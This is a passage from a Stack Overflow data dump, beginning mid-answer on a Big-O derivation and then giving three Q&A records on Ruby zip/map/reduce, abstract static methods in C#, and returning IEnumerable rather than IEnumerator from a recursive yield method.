2)( ... ) = = Summation(i from 1 to N)( ... ) ``` The sentence number *two* is even trickier since it depends on the value of `i`. Take a look: the index i takes the values: 0, 2, 4, 6, 8, ..., 2 \* N, and the second `for` get executed: N times the first one, N - 2 the second, N - 4 the third... up to the N / 2 stage, on which the second `for` never gets executed. On formula, that means: ``` f(N) = Summation(i from 1 to N)( Summation(j = ???)( ) ) ``` Again, we are counting **the number of steps**. And by definition, every summation should always start at one, and end at a number bigger-or-equal than one. ``` f(N) = Summation(i from 1 to N)( Summation(j = 1 to (N - (i - 1) * 2)( C ) ) ``` (We are assuming that `foo()` is `O(1)` and takes `C` steps.) We have a problem here: when `i` takes the value `N / 2 + 1` upwards, the inner Summation ends at a negative number! That's impossible and wrong. We need to split the summation in two, being the pivotal point the moment `i` takes `N / 2 + 1`. ``` f(N) = Summation(i from 1 to N / 2)( Summation(j = 1 to (N - (i - 1) * 2)) * ( C ) ) + Summation(i from 1 to N / 2) * ( C ) ``` Since the pivotal moment `i > N / 2`, the inner `for` won't get executed, and we are assuming a constant C execution complexity on its body. Now the summations can be simplified using some identity rules: 1. Summation(w from 1 to N)( C ) = N \* C 2. Summation(w from 1 to N)( A (+/-) B ) = Summation(w from 1 to N)( A ) (+/-) Summation(w from 1 to N)( B ) 3. Summation(w from 1 to N)( w \* C ) = C \* Summation(w from 1 to N)( w ) (C is a constant, independent of `w`) 4. Summation(w from 1 to N)( w ) = (N \* (N + 1)) / 2 Applying some algebra: ``` f(N) = Summation(i from 1 to N / 2)( (N - (i - 1) * 2) * ( C ) ) + (N / 2)( C ) f(N) = C * Summation(i from 1 to N / 2)( (N - (i - 1) * 2)) + (N / 2)( C ) f(N) = C * (Summation(i from 1 to N / 2)( N ) - Summation(i from 1 to N / 2)( (i - 1) * 2)) + (N / 2)( C ) f(N) = C * (( N ^ 2 / 2 ) - 2 * Summation(i from 1 to N / 2)( i - 1 )) + (N / 2)( C ) => Summation(i from 1 to N / 2)( i - 1 ) = Summation(i from 1 to N / 2 - 1)( i ) f(N) = C * (( N ^ 2 / 2 ) - 2 * Summation(i from 1 to N / 2 - 1)( i )) + (N / 2)( C ) f(N) = C * (( N ^ 2 / 2 ) - 2 * ( (N / 2 - 1) * (N / 2 - 1 + 1) / 2) ) + (N / 2)( C ) => (N / 2 - 1) * (N / 2 - 1 + 1) / 2 = (N / 2 - 1) * (N / 2) / 2 = ((N ^ 2 / 4) - (N / 2)) / 2 = (N ^ 2 / 8) - (N / 4) f(N) = C * (( N ^ 2 / 2 ) - 2 * ( (N ^ 2 / 8) - (N / 4) )) + (N / 2)( C ) f(N) = C * (( N ^ 2 / 2 ) - ( (N ^ 2 / 4) - (N / 2) )) + (N / 2)( C ) f(N) = C * (( N ^ 2 / 2 ) - (N ^ 2 / 4) + (N / 2)) + (N / 2)( C ) f(N) = C * ( N ^ 2 / 4 ) + C * (N / 2) + C * (N / 2) f(N) = C * ( N ^ 2 / 4 ) + 2 * C * (N / 2) f(N) = C * ( N ^ 2 / 4 ) + C * N f(N) = C * 1/4 * N ^ 2 + C * N ``` And the BigOh is: ``` O(N²) ```
3,281
<p>I'm wondering if there's a way to do what I can do below with Python, in Ruby:</p> <pre><code>sum = reduce(lambda x, y: x + y, map(lambda x, y: x * y, weights, data)) </code></pre> <p>I have two arrays of equal sizes with the weights and data but I can't seem to find a function similar to map in Ruby, reduce I have working.</p>
[ { "answer_id": 3314, "author": "Curt Hagenlocher", "author_id": 533, "author_profile": "https://Stackoverflow.com/users/533", "pm_score": 2, "selected": false, "text": "<p>The Array.zip function does an elementwise combination of arrays. It's not quite as clean as the Python syntax, but here's one approach you could use:</p>\n\n<pre><code>weights = [1, 2, 3]\ndata = [4, 5, 6]\nresult = Array.new\na.zip(b) { |x, y| result &lt;&lt; x * y } # For just the one operation\n\nsum = 0\na.zip(b) { |x, y| sum += x * y } # For both operations\n</code></pre>\n" }, { "answer_id": 3318, "author": "Joey deVilla", "author_id": 216, "author_profile": "https://Stackoverflow.com/users/216", "pm_score": 1, "selected": false, "text": "<p>Ruby has a <code>map</code> method (a.k.a. the <code>collect</code> method), which can be applied to any <code>Enumerable</code> object. If <code>numbers</code> is an array of numbers, the following line in Ruby:</p>\n\n<pre><code>numbers.map{|x| x + 5}\n</code></pre>\n\n<p>is the equivalent of the following line in Python:</p>\n\n<pre><code>map(lambda x: x + 5, numbers)\n</code></pre>\n\n<p>For more details, see <a href=\"http://www.globalnerdy.com/2008/06/25/enumerating-enumerable-enumerablecollectenumerablemap/\" rel=\"nofollow noreferrer\" title=\"Enumerable#collect / Enumerable#map\">here</a> or <a href=\"http://www.ruby-doc.org/core/classes/Enumerable.html#M001146\" rel=\"nofollow noreferrer\">here</a>.</p>\n" }, { "answer_id": 4263, "author": "Michiel de Mare", "author_id": 136, "author_profile": "https://Stackoverflow.com/users/136", "pm_score": 3, "selected": false, "text": "<p>In Ruby 1.9:</p>\n\n<pre><code>weights.zip(data).map{|a,b| a*b}.reduce(:+)\n</code></pre>\n\n<p>In Ruby 1.8:</p>\n\n<pre><code>weights.zip(data).inject(0) {|sum,(w,d)| sum + w*d }\n</code></pre>\n" }, { "answer_id": 4270, "author": "Lily Ballard", "author_id": 582, "author_profile": "https://Stackoverflow.com/users/582", "pm_score": 5, "selected": true, "text": "<p>@Michiel de Mare</p>\n\n<p>Your Ruby 1.9 example can be shortened a bit further:</p>\n\n<pre><code>weights.zip(data).map(:*).reduce(:+)\n</code></pre>\n\n<p>Also note that in Ruby 1.8, if you require ActiveSupport (from Rails) you can use:</p>\n\n<pre><code>weights.zip(data).map(&amp;:*).reduce(&amp;:+)\n</code></pre>\n" }, { "answer_id": 5124209, "author": "Chris Turner", "author_id": 635050, "author_profile": "https://Stackoverflow.com/users/635050", "pm_score": 0, "selected": false, "text": "<p>An alternative for the map that works for more than 2 arrays as well:</p>\n\n<pre><code>def dot(*arrays)\n arrays.transpose.map {|vals| yield vals}\nend\n\ndot(weights,data) {|a,b| a*b} \n\n# OR, if you have a third array\n\ndot(weights,data,offsets) {|a,b,c| (a*b)+c}\n</code></pre>\n\n<p>This could also be added to Array:</p>\n\n<pre><code>class Array\n def dot\n self.transpose.map{|vals| yield vals}\n end\nend\n\n[weights,data].dot {|a,b| a*b}\n\n#OR\n\n[weights,data,offsets].dot {|a,b,c| (a*b)+c}\n</code></pre>\n" }, { "answer_id": 21015028, "author": "Cary Swoveland", "author_id": 256970, "author_profile": "https://Stackoverflow.com/users/256970", "pm_score": 0, "selected": false, "text": "<pre><code>weights = [1,2,3]\ndata = [10,50,30]\n\nrequire 'matrix'\nVector[*weights].inner_product Vector[*data] # =&gt; 200 \n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3281", "https://Stackoverflow.com", "https://Stackoverflow.com/users/484/" ]
I'm wondering if there's a way to do what I can do below with Python, in Ruby: ``` sum = reduce(lambda x, y: x + y, map(lambda x, y: x * y, weights, data)) ``` I have two arrays of equal sizes with the weights and data but I can't seem to find a function similar to map in Ruby, reduce I have working.
@Michiel de Mare Your Ruby 1.9 example can be shortened a bit further: ``` weights.zip(data).map(:*).reduce(:+) ``` Also note that in Ruby 1.8, if you require ActiveSupport (from Rails) you can use: ``` weights.zip(data).map(&:*).reduce(&:+) ```
3,284
<p>I've been working with <a href="http://msdn.microsoft.com/en-us/library/aa479030.aspx" rel="noreferrer">providers</a> a fair bit lately, and I came across an interesting situation where I wanted to have an abstract class that had an abstract static method. I read a few posts on the topic, and it sort of made sense, but is there a nice clear explanation?</p>
[ { "answer_id": 3291, "author": "David Wengier", "author_id": 489, "author_profile": "https://Stackoverflow.com/users/489", "pm_score": 6, "selected": false, "text": "<p>Static methods cannot be inherited or overridden, and that is why they can't be abstract. Since static methods are defined on the type, not the instance, of a class, they must be called explicitly on that type. So when you want to call a method on a child class, you need to use its name to call it. This makes inheritance irrelevant.</p>\n<p>Assume you could, for a moment, inherit static methods. Imagine this scenario:</p>\n<pre><code>public static class Base\n{\n public static virtual int GetNumber() { return 5; }\n}\n\npublic static class Child1 : Base\n{\n public static override int GetNumber() { return 1; }\n}\n\npublic static class Child2 : Base\n{\n public static override int GetNumber() { return 2; }\n}\n</code></pre>\n<p>If you call Base.GetNumber(), which method would be called? Which value returned? It's pretty easy to see that without creating instances of objects, inheritance is rather hard. Abstract methods without inheritance are just methods that don't have a body, so can't be called.</p>\n" }, { "answer_id": 3292, "author": "Rytmis", "author_id": 266, "author_profile": "https://Stackoverflow.com/users/266", "pm_score": 3, "selected": false, "text": "<p>To add to the previous explanations, static method calls are bound to a specific method at <em>compile-time</em>, which rather rules out polymorphic behavior.</p>\n" }, { "answer_id": 3294, "author": "Lasse V. Karlsen", "author_id": 267, "author_profile": "https://Stackoverflow.com/users/267", "pm_score": 8, "selected": true, "text": "<p>Static methods are not <em>instantiated</em> as such, they're just available without an object reference.</p>\n\n<p>A call to a static method is done through the class name, not through an object reference, and the Intermediate Language (IL) code to call it will call the abstract method through the name of the class that defined it, not necessarily the name of the class you used.</p>\n\n<p>Let me show an example.</p>\n\n<p>With the following code:</p>\n\n<pre><code>public class A\n{\n public static void Test()\n {\n }\n}\n\npublic class B : A\n{\n}\n</code></pre>\n\n<p>If you call B.Test, like this:</p>\n\n<pre><code>class Program\n{\n static void Main(string[] args)\n {\n B.Test();\n }\n}\n</code></pre>\n\n<p>Then the actual code inside the Main method is as follows:</p>\n\n<pre><code>.entrypoint\n.maxstack 8\nL0000: nop \nL0001: call void ConsoleApplication1.A::Test()\nL0006: nop \nL0007: ret \n</code></pre>\n\n<p>As you can see, the call is made to A.Test, because it was the A class that defined it, and not to B.Test, even though you can write the code that way.</p>\n\n<p>If you had <em>class types</em>, like in Delphi, where you can make a variable referring to a type and not an object, you would have more use for virtual and thus abstract static methods (and also constructors), but they aren't available and thus static calls are non-virtual in .NET.</p>\n\n<p>I realize that the IL designers could allow the code to be compiled to call B.Test, and resolve the call at runtime, but it still wouldn't be virtual, as you would still have to write some kind of class name there.</p>\n\n<p>Virtual methods, and thus abstract ones, are only useful when you're using a variable which, at runtime, can contain many different types of objects, and you thus want to call the right method for the current object you have in the variable. With static methods you need to go through a class name anyway, so the exact method to call is known at compile time because it can't and won't change.</p>\n\n<p>Thus, virtual/abstract static methods are not available in .NET.</p>\n" }, { "answer_id": 6674, "author": "Chris Hanson", "author_id": 714, "author_profile": "https://Stackoverflow.com/users/714", "pm_score": 4, "selected": false, "text": "<p>Another respondent (McDowell) said that polymorphism only works for object instances. That should be qualified; there are languages that do treat classes as instances of a \"Class\" or \"Metaclass\" type. These languages do support polymorphism for both instance and class (static) methods.</p>\n\n<p>C#, like Java and C++ before it, is not such a language; the <code>static</code> keyword is used explicitly to denote that the method is statically-bound rather than dynamic/virtual.</p>\n" }, { "answer_id": 15090, "author": "Fabio Gomes", "author_id": 727, "author_profile": "https://Stackoverflow.com/users/727", "pm_score": 3, "selected": false, "text": "<p>We actually override static methods (in delphi), it's a bit ugly, but it works just fine for our needs.</p>\n\n<p>We use it so the classes can have a list of their available objects without the class instance, for example, we have a method that looks like this:</p>\n\n<pre><code>class function AvailableObjects: string; override;\nbegin\n Result := 'Object1, Object2';\nend; \n</code></pre>\n\n<p>It's ugly but necessary, this way we can instantiate just what is needed, instead of having all the classes instantianted just to search for the available objects.</p>\n\n<p>This was a simple example, but the application itself is a client-server application which has all the classes available in just one server, and multiple different clients which might not need everything the server has and will never need an object instance.</p>\n\n<p>So this is much easier to maintain than having one different server application for each client.</p>\n\n<p>Hope the example was clear.</p>\n" }, { "answer_id": 862763, "author": "AMing", "author_id": 76538, "author_profile": "https://Stackoverflow.com/users/76538", "pm_score": 1, "selected": false, "text": "<p>The abstract methods are implicitly virtual. Abstract methods require an instance, but static methods do not have an instance. So, you can have a static method in an abstract class, it just cannot be static abstract (or abstract static).</p>\n" }, { "answer_id": 2286540, "author": "user275801", "author_id": 275801, "author_profile": "https://Stackoverflow.com/users/275801", "pm_score": 4, "selected": false, "text": "<p>Here is a situation where there is definitely a need for inheritance for static fields and methods:</p>\n\n<pre><code>abstract class Animal\n{\n protected static string[] legs;\n\n static Animal() {\n legs=new string[0];\n }\n\n public static void printLegs()\n {\n foreach (string leg in legs) {\n print(leg);\n }\n }\n}\n\n\nclass Human: Animal\n{\n static Human() {\n legs=new string[] {\"left leg\", \"right leg\"};\n }\n}\n\n\nclass Dog: Animal\n{\n static Dog() {\n legs=new string[] {\"left foreleg\", \"right foreleg\", \"left hindleg\", \"right hindleg\"};\n }\n}\n\n\npublic static void main() {\n Dog.printLegs();\n Human.printLegs();\n}\n\n\n//what is the output?\n//does each subclass get its own copy of the array \"legs\"?\n</code></pre>\n" }, { "answer_id": 66070907, "author": "Burakumin", "author_id": 6053778, "author_profile": "https://Stackoverflow.com/users/6053778", "pm_score": 3, "selected": false, "text": "<p>This question is 12 years old but it still needs to be given a better answer. As few noted in the comments and contrarily to what all answers pretend it would certainly make sense to have static abstract methods in C#. As philosopher Daniel Dennett put it, a failure of imagination is not an insight into necessity. There is a common mistake in not realizing that C# is not only an OOP language. A pure OOP perspective on a given concept leads to a restricted and in the current case misguided examination. Polymorphism is not only about subtying polymorphism: it also includes parametric polymorphism (aka generic programming) and C# has been supporting this for a long time now. Within this additional paradigm, abstract classes (and most types) are not only used to provide a type to instances. They can also be used as <strong>bounds for generic parameters</strong>; something that has been understood by users of certain languages (like for example Haskell, but also more recently Scala, Rust or Swift) for years.</p>\n<p>In this context you may want to do something like this:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>void Catch&lt;TAnimal&gt;() where TAnimal : Animal\n{\n string scientificName = TAnimal.ScientificName; // abstract static property\n Console.WriteLine($&quot;Let's catch some {scientificName}&quot;);\n …\n}\n</code></pre>\n<p>And here the capacity to express static members that can be specialized by subclasses <strong>totally makes sense</strong>!</p>\n<p>Unfortunately C# does not allow abstract static members but I'd like to propose a pattern that can <strong>emulate</strong> them reasonably well. This pattern is not perfect (it imposes some restrictions on inheritance) but as far as I can tell it is typesafe.</p>\n<p>The main idea is to associate an abstract companion class (here <code>SpeciesFor&lt;TAnimal&gt;</code>) to the one that should contain static abstract members (here <code>Animal</code>):</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public abstract class SpeciesFor&lt;TAnimal&gt; where TAnimal : Animal\n{\n public static SpeciesFor&lt;TAnimal&gt; Instance { get { … } }\n\n // abstract &quot;static&quot; members\n\n public abstract string ScientificName { get; }\n \n …\n}\n\npublic abstract class Animal { … }\n</code></pre>\n<p>Now we would like to make this work:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>void Catch&lt;TAnimal&gt;() where TAnimal : Animal\n{\n string scientificName = SpeciesFor&lt;TAnimal&gt;.Instance.ScientificName;\n Console.WriteLine($&quot;Let's catch some {scientificName}&quot;);\n …\n}\n</code></pre>\n<p>Of course we have two problems to solve:</p>\n<ol>\n<li>How do we make sure an implementer of a subclass of <code>Animal</code> provides a specific instance of <code>SpeciesFor&lt;TAnimal&gt;</code> to this subclass?</li>\n<li>How does the property <code>SpeciesFor&lt;TAnimal&gt;.Instance</code> retrieve this information?</li>\n</ol>\n<p>Here is how we can solve 1:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public abstract class Animal&lt;TSelf&gt; where TSelf : Animal&lt;TSelf&gt;\n{\n private Animal(…) {}\n \n public abstract class OfSpecies&lt;TSpecies&gt; : Animal&lt;TSelf&gt;\n where TSpecies : SpeciesFor&lt;TSelf&gt;, new()\n {\n protected OfSpecies(…) : base(…) { }\n }\n \n …\n}\n</code></pre>\n<p>By making the constructor of <code>Animal&lt;TSelf&gt;</code> private we make sure that all its subclasses are also subclasses of inner class <code>Animal&lt;TSelf&gt;.OfSpecies&lt;TSpecies&gt;</code>. So these subclasses must specify a <code>TSpecies</code> type that has a <code>new()</code> bound.</p>\n<p>For 2 we can provide the following implementation:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public abstract class SpeciesFor&lt;TAnimal&gt; where TAnimal : Animal&lt;TAnimal&gt;\n{\n private static SpeciesFor&lt;TAnimal&gt; _instance;\n\n public static SpeciesFor&lt;TAnimal&gt; Instance =&gt; _instance ??= MakeInstance();\n\n private static SpeciesFor&lt;TAnimal&gt; MakeInstance()\n {\n Type t = typeof(TAnimal);\n while (true)\n {\n if (t.IsConstructedGenericType\n &amp;&amp; t.GetGenericTypeDefinition() == typeof(Animal&lt;&gt;.OfSpecies&lt;&gt;))\n return (SpeciesFor&lt;TAnimal&gt;)Activator.CreateInstance(t.GenericTypeArguments[1]);\n t = t.BaseType;\n if (t == null)\n throw new InvalidProgramException();\n }\n }\n\n // abstract &quot;static&quot; members\n\n public abstract string ScientificName { get; }\n \n …\n}\n</code></pre>\n<p>How do we know that the reflection code inside <code>MakeInstance()</code> never throws? As we've already said, almost all classes within the hierarchy of <code>Animal&lt;TSelf&gt;</code> are also subclasses of <code>Animal&lt;TSelf&gt;.OfSpecies&lt;TSpecies&gt;</code>. So we know that for these classes a specific <code>TSpecies</code> must be provided. This type is also necessarily constructible thanks to constraint <code>: new()</code>. But this still leaves out abstract types like <code>Animal&lt;Something&gt;</code> that have no associated species. Now we can convince ourself that the <a href=\"https://en.wikipedia.org/wiki/Curiously_recurring_template_pattern\" rel=\"nofollow noreferrer\">curiously recurring template pattern</a> <code>where TAnimal : Animal&lt;TAnimal&gt;</code> makes it impossible to write <code>SpeciesFor&lt;Animal&lt;Something&gt;&gt;.Instance</code> as type <code>Animal&lt;Something&gt;</code> is never a subtype of <code>Animal&lt;Animal&lt;Something&gt;&gt;</code>.</p>\n<p>Et voilà:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public class CatSpecies : SpeciesFor&lt;Cat&gt;\n{\n // overriden &quot;static&quot; members\n\n public override string ScientificName =&gt; &quot;Felis catus&quot;;\n public override Cat CreateInVivoFromDnaTrappedInAmber() { … }\n public override Cat Clone(Cat a) { … }\n public override Cat Breed(Cat a1, Cat a2) { … }\n}\n\npublic class Cat : Animal&lt;Cat&gt;.OfSpecies&lt;CatSpecies&gt;\n{\n // overriden members\n\n public override string CuteName { get { … } }\n}\n\npublic class DogSpecies : SpeciesFor&lt;Dog&gt;\n{\n // overriden &quot;static&quot; members\n\n public override string ScientificName =&gt; &quot;Canis lupus familiaris&quot;;\n public override Dog CreateInVivoFromDnaTrappedInAmber() { … }\n public override Dog Clone(Dog a) { … }\n public override Dog Breed(Dog a1, Dog a2) { … }\n}\n\npublic class Dog : Animal&lt;Dog&gt;.OfSpecies&lt;DogSpecies&gt;\n{\n // overriden members\n\n public override string CuteName { get { … } }\n}\n\npublic class Program\n{\n public static void Main()\n {\n ConductCrazyScientificExperimentsWith&lt;Cat&gt;();\n ConductCrazyScientificExperimentsWith&lt;Dog&gt;();\n ConductCrazyScientificExperimentsWith&lt;Tyranosaurus&gt;();\n ConductCrazyScientificExperimentsWith&lt;Wyvern&gt;();\n }\n \n public static void ConductCrazyScientificExperimentsWith&lt;TAnimal&gt;()\n where TAnimal : Animal&lt;TAnimal&gt;\n {\n // Look Ma! No animal instance polymorphism!\n \n TAnimal a2039 = SpeciesFor&lt;TAnimal&gt;.Instance.CreateInVivoFromDnaTrappedInAmber();\n TAnimal a2988 = SpeciesFor&lt;TAnimal&gt;.Instance.CreateInVivoFromDnaTrappedInAmber();\n TAnimal a0400 = SpeciesFor&lt;TAnimal&gt;.Instance.Clone(a2988);\n TAnimal a9477 = SpeciesFor&lt;TAnimal&gt;.Instance.Breed(a0400, a2039);\n TAnimal a9404 = SpeciesFor&lt;TAnimal&gt;.Instance.Breed(a2988, a9477);\n \n Console.WriteLine(\n &quot;The confederation of mad scientists is happy to announce the birth &quot; +\n $&quot;of {a9404.CuteName}, our new {SpeciesFor&lt;TAnimal&gt;.Instance.ScientificName}.&quot;);\n }\n}\n</code></pre>\n<p>A limitation of this pattern is that it is not possible (as far as I can tell) to extend the class hierarchy in a satifying manner. For example we cannot introduce an intermediary <code>Mammal</code> class associated to a <code>MammalClass</code> companion. Another is that it does not work for static members in interfaces which would be more flexible than abstract classes.</p>\n" }, { "answer_id": 69666855, "author": "0BLU", "author_id": 3338196, "author_profile": "https://Stackoverflow.com/users/3338196", "pm_score": 4, "selected": false, "text": "<p>With <code>.NET 6</code> / <code>C# 10/next/preview</code> you are able to do exactly that with &quot;Static abstract members in interfaces&quot;.</p>\n<p>(At the time of writing the code compiles successfully but some IDEs have problems highlighting the code)</p>\n<p><a href=\"https://sharplab.io/#v2:EYLgZgpghgLgrgJwgZwLQGUawJYGMCCwyMCUuMAshALbAQLICSAdizPWGSgDQwjYAbAD4ABAEwBGALAAoWcyjUUABy4ACTDgJESZGABUUMbMwDmsgN6y1NtSIDMak+wSdcENY3QB7JYWKk5GwcXNa2VjK2UXaOUDqBMHYSAGxJAAxqAMJQAgJUABQAlADcYTYAvrJlMXZiahQAnpkCUMjI+Gognj5+8XrBrqGR4dVRIinp3b4Q/rpBzC5uEAB02bkFhaMjw9HRIgDsagBEAJrecGq4OQIQACZZLW34R6U70ZVvH9UOtfVNj8gAEKdKa9AL9BYhdzVCK7GzjVLjDJeaazBIDJara4bLY2WFwsaHU7nS7XO4PVpAl64tQfKJfN4/cRJfYwqpvMaOBF2AAs9SgJnySIA2gBdNRQBCmZCbDnbAlRACqyAgmmMuGalKoMAAFt5bgAeRqap4APiKrwVtmVqqw6pNyG1esNxoBgPNJRpDIJTImIj5NrVeAdTv1Bv0HrUAHcdfQPPoQSiwXMYBihgT8VbxgBOfIAEiOFhgDWUEG8YHy+kKywAcooIOUsesIEU1EhkHABHw1BZ9E28i3CuUjp65RV2T6uX6AyqgxqAaHbuhsNRlDdw5GY3G1AmukmZn15ot03DMwqAPQAKjUqDUABlvN4ANYSxK6jyMO+XfUrNQABSQGBizUZABBXZY1AAKTgYhv2YcETDuGkok/AB9NIMLSLpcG8eDdEQ24IIAQiI/RkNsNDMOSbDrkmOc0T0QxiBMUxln3BijyhCAQBANYByKcibEojDQFJXJeTUYVxlWXDkG8G5RWkzJZPk7iQAAdQQbB2DvRChQkNJZStIS73QtIDK6QDBJsS9z2snNK37DZRwJOlbA+cogA=\" rel=\"noreferrer\">SharpLab Demo</a></p>\n<pre class=\"lang-cs prettyprint-override\"><code>using System;\n\nnamespace StaticAbstractTesting\n{\n public interface ISomeAbstractInterface\n {\n public abstract static string CallMe();\n }\n\n public class MyClassA : ISomeAbstractInterface\n {\n static string ISomeAbstractInterface.CallMe()\n {\n return &quot;You called ClassA&quot;;\n }\n }\n\n public class MyClassB : ISomeAbstractInterface\n {\n static string ISomeAbstractInterface.CallMe()\n {\n return &quot;You called ClassB&quot;;\n }\n }\n\n public class Program\n {\n\n public static void Main(string[] args)\n {\n UseStaticClassMethod&lt;MyClassA&gt;();\n UseStaticClassMethod&lt;MyClassB&gt;();\n }\n\n public static void UseStaticClassMethod&lt;T&gt;() where T : ISomeAbstractInterface\n {\n Console.WriteLine($&quot;{typeof(T).Name}.CallMe() result: {T.CallMe()}&quot;);\n }\n }\n}\n\n</code></pre>\n<p>Since this is a major change in the runtime, the resulting IL code also looks really clean, which means that this is not just syntactic sugar.</p>\n<pre><code>public static void UseStaticClassMethodSimple&lt;T&gt;() where T : ISomeAbstractInterface {\nIL_0000: constrained. !!T\nIL_0006: call string StaticAbstractTesting.ISomeAbstractInterface::CallMe()\nIL_000b: call void [System.Console]System.Console::WriteLine(string)\nIL_0010: ret\n}\n</code></pre>\n<p>Resources:</p>\n<ul>\n<li><a href=\"https://learn.microsoft.com/en-us/dotnet/core/compatibility/core-libraries/6.0/static-abstract-interface-methods\" rel=\"noreferrer\">https://learn.microsoft.com/en-us/dotnet/core/compatibility/core-libraries/6.0/static-abstract-interface-methods</a></li>\n<li><a href=\"https://github.com/dotnet/csharplang/issues/4436\" rel=\"noreferrer\">https://github.com/dotnet/csharplang/issues/4436</a></li>\n</ul>\n" }, { "answer_id": 70454809, "author": "Geniusbaby", "author_id": 17743713, "author_profile": "https://Stackoverflow.com/users/17743713", "pm_score": 1, "selected": false, "text": "<p>It's available in C# 10 as a preview feature for now.</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3284", "https://Stackoverflow.com", "https://Stackoverflow.com/users/493/" ]
I've been working with [providers](http://msdn.microsoft.com/en-us/library/aa479030.aspx) a fair bit lately, and I came across an interesting situation where I wanted to have an abstract class that had an abstract static method. I read a few posts on the topic, and it sort of made sense, but is there a nice clear explanation?
Static methods are not *instantiated* as such, they're just available without an object reference. A call to a static method is done through the class name, not through an object reference, and the Intermediate Language (IL) code to call it will call the abstract method through the name of the class that defined it, not necessarily the name of the class you used. Let me show an example. With the following code: ``` public class A { public static void Test() { } } public class B : A { } ``` If you call B.Test, like this: ``` class Program { static void Main(string[] args) { B.Test(); } } ``` Then the actual code inside the Main method is as follows: ``` .entrypoint .maxstack 8 L0000: nop L0001: call void ConsoleApplication1.A::Test() L0006: nop L0007: ret ``` As you can see, the call is made to A.Test, because it was the A class that defined it, and not to B.Test, even though you can write the code that way. If you had *class types*, like in Delphi, where you can make a variable referring to a type and not an object, you would have more use for virtual and thus abstract static methods (and also constructors), but they aren't available and thus static calls are non-virtual in .NET. I realize that the IL designers could allow the code to be compiled to call B.Test, and resolve the call at runtime, but it still wouldn't be virtual, as you would still have to write some kind of class name there. Virtual methods, and thus abstract ones, are only useful when you're using a variable which, at runtime, can contain many different types of objects, and you thus want to call the right method for the current object you have in the variable. With static methods you need to go through a class name anyway, so the exact method to call is known at compile time because it can't and won't change. Thus, virtual/abstract static methods are not available in .NET.
3,315
<p>I need to set the height of every textbox on my form, some of which are nested within other controls. I thought I could do something like this:</p> <pre><code>private static IEnumerator&lt;TextBox&gt; FindTextBoxes(Control rootControl) { foreach (Control control in rootControl.Controls) { if (control.Controls.Count &gt; 0) { // Recursively search for any TextBoxes within each child control foreach (TextBox textBox in FindTextBoxes(control)) { yield return textBox; } } TextBox textBox2 = control as TextBox; if (textBox2 != null) { yield return textBox2; } } } </code></pre> <p>Using it like this:</p> <pre><code>foreach(TextBox textBox in FindTextBoxes(this)) { textBox.Height = height; } </code></pre> <p>But of course the compiler spits its dummy, because <em>foreach</em> expects an <strong>IEnumerable</strong> rather than an <strong>IEnumerator</strong>.</p> <p>Is there a way to do this without having to create a separate class with a <strong>GetEnumerator()</strong> method?</p>
[ { "answer_id": 3316, "author": "David Wengier", "author_id": 489, "author_profile": "https://Stackoverflow.com/users/489", "pm_score": 5, "selected": true, "text": "<p>As the compiler is telling you, you need to change your return type to IEnumerable. That is how the yield return syntax works.</p>\n" }, { "answer_id": 3323, "author": "Yaakov Ellis", "author_id": 51, "author_profile": "https://Stackoverflow.com/users/51", "pm_score": 1, "selected": false, "text": "<pre><code>// Generic function that gets all child controls of a certain type, \n// returned in a List collection\nprivate static List&lt;T&gt; GetChildTextBoxes&lt;T&gt;(Control ctrl) where T : Control{\n List&lt;T&gt; tbs = new List&lt;T&gt;();\n foreach (Control c in ctrl.Controls) {\n // If c is of type T, add it to the collection\n if (c is T) { \n tbs.Add((T)c);\n }\n }\n return tbs;\n}\n\nprivate static void SetChildTextBoxesHeight(Control ctrl, int height) {\n foreach (TextBox t in GetChildTextBoxes&lt;TextBox&gt;(ctrl)) {\n t.Height = height;\n }\n}\n</code></pre>\n" }, { "answer_id": 3345, "author": "Joseph Daigle", "author_id": 507, "author_profile": "https://Stackoverflow.com/users/507", "pm_score": 2, "selected": false, "text": "<p>If you return IEnumerator, it will be a different enumerator object each time call that method (acting as though you reset the enumerator on each iteration). If you return IEnumerable then a foreach can enumerate based on the method with the yield statement.</p>\n" }, { "answer_id": 6472, "author": "Orion Edwards", "author_id": 234, "author_profile": "https://Stackoverflow.com/users/234", "pm_score": 3, "selected": false, "text": "<p>Just to clarify</p>\n\n<pre><code>private static IEnumerator&lt;TextBox&gt; FindTextBoxes(Control rootControl)\n</code></pre>\n\n<p>Changes to</p>\n\n<pre><code>private static IEnumerable&lt;TextBox&gt; FindTextBoxes(Control rootControl)\n</code></pre>\n\n<p>That should be all :-)</p>\n" }, { "answer_id": 6698655, "author": "supercat", "author_id": 363751, "author_profile": "https://Stackoverflow.com/users/363751", "pm_score": 0, "selected": false, "text": "<p>If you are given an enumerator, and need to use it in a for-each loop, you could use the following to wrap it:</p>\n\n<pre>\nstatic public class enumerationHelper\n{\n public class enumeratorHolder&lt;T&gt;\n {\n private T theEnumerator;\n public T GetEnumerator() { return theEnumerator; }\n public enumeratorHolder(T newEnumerator) { theEnumerator = newEnumerator;}\n }\n static enumeratorHolder&lt;T&gt; toEnumerable&lt;T&gt;(T theEnumerator) { return new enumeratorHolder&lt;T&gt;(theEnumerator); }\n private class IEnumeratorHolder&lt;T&gt;:IEnumerable&lt;T&gt;\n {\n private IEnumerator&lt;T&gt; theEnumerator;\n public IEnumerator&lt;T&gt; GetEnumerator() { return theEnumerator; }\n System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() { return theEnumerator; }\n public IEnumeratorHolder(IEnumerator&lt;T&gt; newEnumerator) { theEnumerator = newEnumerator; }\n }\n static IEnumerable&lt;T&gt; toEnumerable&lt;T&gt;(IEnumerator&lt;T&gt; theEnumerator) { return new IEnumeratorHolder&lt;T&gt;(theEnumerator); }\n}\n</pre>\n\n<p>The <code>toEnumerable</code> method will accept anything that <a href=\"/questions/tagged/c%23\" class=\"post-tag\" title=\"show questions tagged &#39;c#&#39;\" rel=\"tag\">c#</a> or <a href=\"/questions/tagged/vb\" class=\"post-tag\" title=\"show questions tagged &#39;vb&#39;\" rel=\"tag\">vb</a> would regard an acceptable return type from <code>GetEnumerator</code>, and return something that can be used in <code>foreach</code>. If the parameter is an <code>IEnumerator&lt;&gt;</code> the response will be an 